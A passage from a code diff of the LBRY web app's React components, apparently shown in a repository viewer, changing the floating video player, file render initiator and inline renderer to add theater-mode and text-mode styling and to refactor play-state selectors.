'content__viewer--secondary': playingUriSource === 'comment',
|
||||
'content__viewer--theater-mode': !isFloating && videoTheaterMode,
|
||||
})}
|
||||
style={
|
||||
!isFloating && fileViewerRect
|
||||
@@ -267,14 +269,13 @@ export default function FileRenderFloating(props: Props) {
|
||||
})}
|
||||
>
|
||||
{isFloating && (
|
||||
<Tooltip label={__('Close')}>
|
||||
<Button
|
||||
onClick={closeFloatingPlayer}
|
||||
icon={ICONS.REMOVE}
|
||||
button="primary"
|
||||
className="content__floating-close"
|
||||
/>
|
||||
</Tooltip>
|
||||
<Button
|
||||
title={__('Close')}
|
||||
onClick={closeFloatingPlayer}
|
||||
icon={ICONS.REMOVE}
|
||||
button="primary"
|
||||
className="content__floating-close"
|
||||
/>
|
||||
)}
|
||||
|
||||
{isReadyToPlay ? (
|
||||
@@ -293,7 +294,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
<div className="claim-preview__title" title={title || uri}>
|
||||
<Button label={title || uri} navigate={uri} button="link" className="content__floating-link" />
|
||||
</div>
|
||||
<UriIndicator link addTooltip={false} uri={uri} />
|
||||
<UriIndicator link uri={uri} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -14,12 +14,12 @@ import Nag from 'component/common/nag';
|
||||
const SPACE_BAR_KEYCODE = 32;
|
||||
|
||||
type Props = {
|
||||
play: string => void,
|
||||
play: (string) => void,
|
||||
isLoading: boolean,
|
||||
isPlaying: boolean,
|
||||
fileInfo: FileListItem,
|
||||
uri: string,
|
||||
history: { push: string => void },
|
||||
history: { push: (string) => void },
|
||||
location: { search: ?string, pathname: string },
|
||||
obscurePreview: boolean,
|
||||
insufficientCredits: boolean,
|
||||
@@ -32,6 +32,7 @@ type Props = {
|
||||
claim: StreamClaim,
|
||||
claimWasPurchased: boolean,
|
||||
authenticated: boolean,
|
||||
videoTheaterMode: boolean,
|
||||
};
|
||||
|
||||
export default function FileRenderInitiator(props: Props) {
|
||||
@@ -51,11 +52,13 @@ export default function FileRenderInitiator(props: Props) {
|
||||
costInfo,
|
||||
claimWasPurchased,
|
||||
authenticated,
|
||||
videoTheaterMode,
|
||||
} = props;
|
||||
const cost = costInfo && costInfo.cost;
|
||||
const isFree = hasCostInfo && cost === 0;
|
||||
const fileStatus = fileInfo && fileInfo.status;
|
||||
const isPlayable = RENDER_MODES.FLOATING_MODES.includes(renderMode);
|
||||
const isText = RENDER_MODES.TEXT_MODES.includes(renderMode);
|
||||
|
||||
function doAuthRedirect() {
|
||||
history.push(`/$/${PAGES.AUTH}?redirect=${encodeURIComponent(location.pathname)}`);
|
||||
@@ -118,6 +121,8 @@ export default function FileRenderInitiator(props: Props) {
|
||||
style={thumbnail && !obscurePreview ? { backgroundImage: `url("${thumbnail}")` } : {}}
|
||||
className={classnames('content__cover', {
|
||||
'content__cover--disabled': disabled,
|
||||
'content__cover--theater-mode': videoTheaterMode,
|
||||
'content__cover--text': isText,
|
||||
'card__media--nsfw': obscurePreview,
|
||||
})}
|
||||
>
|
||||
|
||||
@@ -1,19 +1,19 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectFileInfoForUri, makeSelectStreamingUrlForUri } from 'lbry-redux';
|
||||
import { doClaimEligiblePurchaseRewards } from 'redux/actions/rewards';
|
||||
import { makeSelectFileRenderModeForUri, selectPrimaryUri } from 'redux/selectors/content';
|
||||
import { makeSelectFileRenderModeForUri, makeSelectIsPlaying } from 'redux/selectors/content';
|
||||
import { withRouter } from 'react-router';
|
||||
import { doAnalyticsView } from 'redux/actions/app';
|
||||
import FileRenderInline from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
fileInfo: makeSelectFileInfoForUri(props.uri)(state),
|
||||
isPlaying: selectPrimaryUri(state) === props.uri,
|
||||
isPlaying: makeSelectIsPlaying(props.uri)(state),
|
||||
streamingUrl: makeSelectStreamingUrlForUri(props.uri)(state),
|
||||
renderMode: makeSelectFileRenderModeForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
const perform = (dispatch) => ({
|
||||
triggerAnalyticsView: (uri, timeToStart) => dispatch(doAnalyticsView(uri, timeToStart)),
|
||||
claimRewards: () => dispatch(doClaimEligiblePurchaseRewards()),
|
||||
});
|
||||
|
||||
@@ -52,5 +52,5 @@ export default function FileRenderInline(props: Props) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return renderContent ? <FileRender uri={uri} /> : <LoadingScreen status={__('Preparing your content')} isDocument />;
|
||||
return renderContent ? <FileRender uri={uri} /> : <LoadingScreen isDocument />;
|
||||
}
|
||||
@@ -23,7 +23,6 @@ $transition-duration: 300ms;
|
||||
top: 0;
|
||||
left: 0;
|
||||
pointer-events: none;
|
||||
z-index: $base-zindex + 1;
|
||||
vertical-align: top;
|
||||
opacity: 0;
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import classnames from 'classnames';
|
||||
import PropTypes from 'prop-types';
|
||||
import Freezeframe from './FreezeframeLite';
|
||||
|
||||
const FreezeframeWrapper = props => {
|
||||
const FreezeframeWrapper = (props) => {
|
||||
const imgRef = React.useRef();
|
||||
const freezeframe = React.useRef();
|
||||
// eslint-disable-next-line
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectTitleForUri } from 'lbry-redux';
|
||||
import { makeSelectInsufficientCreditsForUri } from 'redux/selectors/content';
|
||||
import FileTitle from './view';
|
||||
import FileTitleSection from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
isInsufficientCredits: makeSelectInsufficientCreditsForUri(props.uri)(state),
|
||||
title: makeSelectTitleForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select)(FileTitle);
|
||||
export default connect(select)(FileTitleSection);
|
||||
Loaded 100 of 316 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user